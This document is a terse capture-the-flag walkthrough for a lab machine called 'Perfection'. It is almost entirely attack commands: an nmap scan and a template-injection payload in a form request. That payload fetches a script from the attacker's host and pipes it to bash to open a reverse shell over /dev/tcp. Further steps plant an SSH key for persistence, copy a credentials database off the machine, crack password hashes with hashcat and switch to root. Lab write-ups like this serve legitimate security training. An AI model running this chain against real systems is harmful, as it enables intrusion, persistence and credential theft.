[rustydusty]

sudo nmap -sTVC -AO -p- perfection.htb
22/tcp open  ssh    OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx

# In the burpsuite on the "Weighted Grade calculator" Post request there is a SSTI
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# this returns 49
category1=test%0A<%25%3d+7*7+%25>&grade1=100&weight1=20&category2=science&grade2=100&weight2=20&category3=English&grade3=100&weight3=20&category4=somthing&grade4=100&weight4=20&category5=N%2FA&grade5=100&weight5=20

# Setup a reverseshell in rev.sh 'bash -i >& /dev/tcp/10.10.14.80/4444 0>&1'
# setup listener  'nc -nlvp'
# Curl the request into bash and get your shell
test%0A<%25%3d+`curl+http://10.10.14.80/rev.sh|bash`+%25>&grade1=100&weight1=20&category2=science&grade2=100&weight2=20&category3=English&grade3=100&weight3=20&category4=somthing&grade4=100&weight4=20&category5=N%2FA&grade5=100&weight5=20

# once you have as shell setup persistance by echoing in your public key
echo 'rsa-public-key' > /home/susan/.ssh/authorized_keys

# change permissions on the rsa-public-key
chmod 600 /home/susan/.ssh/authorized_keys

# ssh as susan into the machine
ssh [email protected]

# Look around and find a DB file
Migration/pupilpath_credentials.db

# exfil the file
scp [email protected]:Migration/pupilpath_credentials.db

# read mail
cat /var/spool/mail/susan

#crack passwords
hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d

# once you crack susans password switch user to root
sudo su

cat /root/root.txt


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